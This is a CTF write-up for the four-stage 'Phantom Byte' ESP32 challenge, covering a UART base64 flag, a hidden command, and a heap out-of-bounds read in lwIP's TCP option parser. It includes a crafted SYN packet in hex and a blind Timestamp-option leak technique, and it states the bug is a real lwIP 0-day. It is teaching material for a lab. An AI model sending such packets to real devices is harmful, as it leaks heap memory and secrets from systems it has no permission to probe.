ESPILON-CTF-2026-Writeups/ESP/Phantom_Byte
2026-03-22 19:18:58 +01:00
..
README.md ESPILON CTF 2026 — Write-ups édition 1 (33 challenges) 2026-03-22 19:18:58 +01:00

Phantom Byte — Writeup

TL;DR

4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow in the device's TCP option parser (based on a real lwIP 0-day). Each layer teaches a skill leading to the final blind extraction.

Reconnaissance

  1. Flash firmware on ESP32, connect UART at 115200
  2. Connect to WiFi AP Phantom_Node (password: thewire2024)
  3. Connect to the debug probe: nc 192.168.4.1 1337

Flag 1 — Signal (100pts)

"The node whispers when it wakes."

Monitor the UART output during boot. Among the diagnostic lines:

[    0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9

Decode the base64:

echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d

Result: ESPILON{u4rt_s33s_4ll}

Submit over TCP:

ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.

Flag 2 — Backdoor (200pts)

"Phantom always leaves a way in."

In layer 2, help lists the documented commands. But the mem output hints:

ph> mem
>> secrets cached in the wire

And info shows:

>> backdoor: [CLASSIFIED]

Try the hidden command wire:

ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}

Submit:

ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.

Flag 3 — Memory Bleed (300pts)

"The parser reads more than it should."

In layer 3, enable debug tracing and inject a crafted TCP SYN:

ph> trace on
>> trace enabled.

Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes):

Byte 12-13: F002  (doff=15, flags=SYN)

Full hex: 053900500000000100000000f002ffff00000000

ph> inject 053900500000000100000000f002ffff00000000

The trace output shows each byte read by tcp_get_next_optbyte:

[TRACE] tcp_get_next_optbyte:
  [ 20] 0x45 << oob
  [ 21] 0x53 << oob
  [ 22] 0x50 << oob
  [ 23] 0x49 << oob
  ...

All << oob bytes are reads past the segment into the adjacent config_cache. Convert hex to ASCII:

0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={
0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_
0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4
0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=}

Flag: ESPILON{ph4nt0m_byt3_h34p_l34k}

Flag 4 — Blind Oracle (500pts)

"The protocol itself is your oracle."

Disable trace output — no more per-byte visibility:

ph> trace off

The vulnerability still exists, but now the only feedback is the parsed option values. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary:

Technique: Place the Timestamp kind+len as the last 2 in-bounds bytes. The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory.

Extraction

Chunk 1 (flag bytes 0-7): seg_size=32, doff=10

ph> inject <crafted_hex>
>> opt: TS=1163150159/1280267387

Decode: 11631501590x45535049ESPI, 12802673870x4c4f4e7bLON{

Chunk 2 (flag bytes 8-15): seg_size=40, doff=12

Decode TSval/TSecr → bl1n / d_st

Chunk 3 (flag bytes 16-22): seg_size=48, doff=14

Decode TSval/TSecr → r4dd / l3}\x00

Reconstruct: ESPILON{bl1nd_str4ddl3}

Automated Solver

python3 solve.py 192.168.4.1 1337

Flags

# Flag Points
1 ESPILON{u4rt_s33s_4ll} 100
2 ESPILON{h1dd3n_c0nf1g} 200
3 ESPILON{ph4nt0m_byt3_h34p_l34k} 300
4 ESPILON{bl1nd_str4ddl3} 500

Real-world Context

This challenge is based on a real vulnerability found in lwIP 2.1.3 (ESP-IDF v5.3). The function tcp_get_next_optbyte() in tcp_in.c does not validate that the option index stays within the pbuf's actual payload length. A remote attacker can send a crafted TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.